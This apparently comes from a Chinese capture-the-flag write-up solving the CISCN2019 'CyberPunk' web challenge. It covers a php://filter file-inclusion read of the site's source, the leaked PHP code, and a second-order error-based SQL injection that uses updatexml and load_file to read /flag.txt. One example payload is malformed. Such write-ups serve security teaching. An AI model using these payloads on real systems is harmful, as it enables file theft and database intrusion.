[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入

buu上 做点

首先就是打开环境 开始信息收集

发现源代码中存在?file

提示我们多半是包含

我原本去试了试 ../../etc/passwd

失败了 直接伪协议上吧

php://filter/read=convert.base64-encode/resource=index.phpconfirm.phpsearch.phpchange.phpdelete.php

我们通过伪协议全部读取

我们提取关键信息

index.php

ini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {echo('no way!');exit;}@include($file);
}
?>

confirm.php

<?phprequire_once "config.php";
//var_dump($_POST);if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = $_POST["address"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if($fetch->num_rows>0) {$msg = $user_name."已提交订单";}else{$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";$re = $db->prepare($sql);$re->bind_param("sss", $user_name, $address, $phone);$re = $re->execute();if(!$re) {echo 'error';print_r($db->error);exit;}$msg = "订单提交成功";}
} else {$msg = "信息不全";
}
?>

change.php

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

delete.php

<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单删除成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

 search.php

<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

首先进行判断

每个文件中都存在 过滤即

$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

同时都是对

 if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))

进行处理 但是我们能发现一个地方是没有进行处理的

在change.php的

    $address = addslashes($_POST["address"]);

是不存在正则处理的 这里就给我们实现了注入的地方

这里的注入流程是这样的

我们使用报错注入updatexml我们首先通过输入 updatexml存入数据库例如' and updatexml(1,,0x7e,2)#就会作为 adress 原封不动的存入数据库这个时候我们再一次通过修改地址来修改因为其中的语句$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];会将原本的地址作为 old_address 输入所以语句会修改为$sql = "update `user` set `address`='".$address."', `old_address`='"' and updatexml(1,,0x7e,2)#"' where `user_id`=".$row['user_id'];重点是在
`old_address`='"' and updatexml(1,,0x7e,2)#"'这里因为执行语句后 通过 updatexml() 会执行报错 if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}这样我们就实现了注入

 写入报错语句

对语句进行更新 这样旧地址会输入到句子中

实现了报错

但是这道题不在数据库中。。。。。

也不知道师傅们怎么做出来的

使用 load_file()函数

' and updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),3)#

 实现了报错

但是长度不够

我们通过substr即可

' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),3)#

这道题 确实不是特别难 但是其实还是不是很简单。。。。